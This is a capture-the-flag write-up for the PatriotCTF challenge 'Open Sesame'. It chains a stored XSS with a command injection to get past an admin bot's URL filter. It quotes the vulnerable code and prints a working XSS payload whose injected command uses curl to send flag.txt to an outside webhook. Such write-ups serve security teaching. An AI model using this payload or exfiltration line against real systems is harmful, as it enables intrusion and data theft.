PatriotCTF
Open Sesame
- use XSS in endpoint to redirect admin bot to visit filtered endpoint with command injection vulnerability to send flag to webhook
We are given 2 source files: one for admin bot admin.js
, which visits a page submitted by the user (only on localhost:1337) and another app which runs on 1337 port app.py
. If we look through the source code of admin bot, it sets a secret cookie for localhost, which is required on the /api/cal
endpoint in app.py
. Why is the /api/cal
endpoint important? Because it contains command injection.
return '{"cal": "'+subprocess.getoutput("cal "+modifier)+'"}'
The app applies no filter to the modifier, which is controlled by user. So
if we are able to make call to /api/cal?modifier=;cat flag.txt
, we can read the flag. However, the call to
/api/cal
is filtered on the admin bot.
if (url.includes("cal") || url.includes("%")) {
res.send('Error: "cal" is not allowed in the URL');
return;
}
The solution is to use the /api/stats
endpoint (vulnerable to XSS )to submit payload, which when visited will trigger request to /api/cal
by the admin
browser (and we bypass the filter). Let’s create a payload:
{
"username":"<script>fetch('http://127.0.0.1:1337/api/cal?modifier=;curl https://webhook.site/434bdc29-014d-4da6-bfb7-f6685e89b90d -d $(cat flag.txt)')</script>",
"high_score":"1234"
}
When this payload is executed, it fetches the /api/cal
and does the command injection to make another request to our domain with the contents of the flag.txt file. If we send this to /api/stats
, we get back the identifier, which is then passed to the admin bot to visit. After he visits the URL, XSS gets triggered and we get the flag.